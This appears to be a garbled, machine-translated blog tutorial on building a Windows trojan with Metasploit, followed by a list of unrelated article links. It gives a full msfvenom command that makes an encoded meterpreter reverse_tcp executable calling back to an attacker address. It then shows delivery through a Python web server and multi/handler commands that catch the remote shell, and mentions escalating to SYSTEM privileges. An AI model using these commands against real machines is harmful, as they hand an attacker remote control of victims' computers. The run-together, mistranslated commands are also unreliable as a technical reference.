1. Generate windows Trojan horse
msfvenom -platform windows -p windows/meterpreter/reverse_tcp Lhost=192.168.1.3 lport=4444 -b"\x00" -e x86/shikata_ga_nai -f exe > C:\Users\admin\Desktop/payload2.exe
-B ﹣ characters to be excluded – e ﹣ encoding mode – F ﹣ output format lhost ﹣ address of local machine for Trojan connection
Then send the payload to the win2012 host, and start a web service with Python, python 3 – M http.server five thousand five hundred and fifty-five
2. MSF open the main monitor port
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_ Tcpshow options set lhost 192.168.1.3, set lport 4444 (same as the port of the backdoor program set at the beginning) run
At this time, the meterpreter obtains a session, that is, the shell rebounds successfully, but it is only a session with low permissions. If the local machine has a firewall, the target machine may not be able to connect to our machine, which will prevent the port from connecting us.
It can be seen that it is only an administrator’s permission, not system permission
Next, the privilege is promoted to system privilege
Read More:
- A method of generating subtitle file for MP3
- Velt-0.1.3 development: generating events
- Method of generating MD5 file checksums under Windows
- Generating equals/hashCode implementation but without a call to superclass
- Brief introduction of cmake generating all in vs Project_ BUILD、INSTALL、ZERO_ Check function!!
- When generating a test report in HTML format, report [typeerror: a bytes like object is required, not ‘STR’]
- Error generating Ca in OpenSSL: TXT_ DB error number 2
- XmlSerialize error: There was an error generating the XML document.
- Golong based tool for automatically generating the corresponding struct file according to XML file
- A simple method of generating secret key by GIT and configuring SSH public key
- Communication link failure when connecting Doris
- The problem of [connection lost contact] after C # code connecting Oracle database for a period of time
- Error connecting to master, – retry time: 60 retries: 86400
- error: \*1035 connect() failed (111: Connection refused) while connecting to upstream, client…..
- “503 Service Unavailable” error when connecting to vCenter Server using vSphere Web Client (2121043)
- 2059 error in connecting to database by Navicat premium
- 530 user cannot log in. Problem connecting to FTP server
- A series of errors encountered in connecting to the database using Oracle SQL developer
- Question: connecting git team provider failed. See log for details
- MongoDB:Failed: error connecting to db server: no reachable servers